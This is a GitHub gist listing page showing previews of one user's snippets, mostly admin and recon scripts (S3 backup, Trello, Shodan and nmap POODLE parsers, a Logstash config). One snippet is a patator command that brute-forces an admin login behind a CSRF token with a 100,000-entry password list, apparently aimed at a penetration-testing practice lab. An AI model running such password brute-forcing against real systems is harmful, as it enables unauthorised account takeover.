Skip to content

Instantly share code, notes, and snippets.

View VGostyuzhov's full-sized avatar

Valentin Gostyuzhov VGostyuzhov

View GitHub Profile
@VGostyuzhov
VGostyuzhov / git-backup-to-AWS-S3.sh
Created December 17, 2018 15:27 — forked from philippb/git-backup-to-AWS-S3.sh
Complete git repository backup script to AWS S3
#!/bin/bash
# Script to backup git repo to S3
# Set bucket, dir, password and account to use for the backup. I keep mine in local env vars
# These are set by localrc which lives on an encrypted home directory and is executed by my bashrc
bucket=$GITHUB_BACKUP_BUCKET
dir=$GITHUB_BACKUP_DIR
password=$GITHUB_BACKUP_PASSWORD
account=$GITHUB_ACCOUNT

Keybase proof

I hereby claim:

  • I am vgostyuzhov on github.
  • I am vgostyuzhov (https://keybase.io/vgostyuzhov) on keybase.
  • I have a public key ASCKV1o5j4Lsh1BxtUe00WqHgZIJ9Oc5pIhuu9V7EwINDAo

To claim this, I am signing this object:

@VGostyuzhov
VGostyuzhov / trello_boards.py
Last active October 15, 2018 14:15
Pull list of Board names and status from Trello
import json
import requests
API_KEY = ''
API_TOKEN = ''
url = 'https://api.trello.com/1/members/me/boards?key={}&token={}'.format(API_KEY, API_TOKEN)
response = requests.get(url)
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import pandas
#Open workbook with Shodan results
shodan_xl = pandas.ExcelFile('shodan.xls')
#Read dorks from workbook to DataFrame
second_df = pandas.read_excel('second_shodan.xls', encoding='utf=8')
results = [] #List with dicts of all results
buy guitars [location]
buy [brand] guitars [location]
buy [brand] guitars
[brand] guitars for sale
[brand] guitars for sale in [location]
[location] best [brand] guitars
@VGostyuzhov
VGostyuzhov / nmap_poodle.py
Created April 25, 2018 09:13
Parse nmap output to find POODLE vulnerabilities.
import xml.etree.ElementTree as ET
import os, re, pandas
class Host:
def __init__(self, ip, ports=[]):
self.ip = ip
self.ports = []
def add_port(self, port):
self.ports.append(port)
@VGostyuzhov
VGostyuzhov / README.md
Last active April 20, 2018 12:11
Proof-of-Concept GuardDuty API script

Installation

pip3 install boto3 colorama

Edit ~/.aws/credetnials

[default]
aws_access_key_id = YOUR_KEY
aws_secret_access_key = YOUR_SECRET
input {
beats {
port => 5044
type => "beats"
}
}
filter {
if [source] == "/var/log/secure" {
grok {
@VGostyuzhov
VGostyuzhov / patator_CSRF
Created March 30, 2018 14:28
Patator brute for CSRF protected login form in pentestit.lab10
patator http_fuzz \
url="http://192.168.101.10:88/index.php?module=Users&action=Login" \
body='__vtrftk=_CSRF_&username=admin&password=FILE0' \
0="~/SecLists/Passwords/10_million_password_list_top_100000.txt"
method=POST \
accept_cookie=1 \
follow=1 \
--threads 1 \
timeout=60 \
timeout_tcp=60 \
@VGostyuzhov
VGostyuzhov / opencv_webcam.py
Created March 21, 2018 06:45
Capture webcam stream using opencv2 library.
import cv2
cap = cv2.VideoCapture(0)
fourcc = cv2.VideoWriter_fourcc(*'XVID')
out = cv2.VideoWriter('output.avi', fourcc, 20.0, (1024,768))
while(True):
ret, frame = cap.read()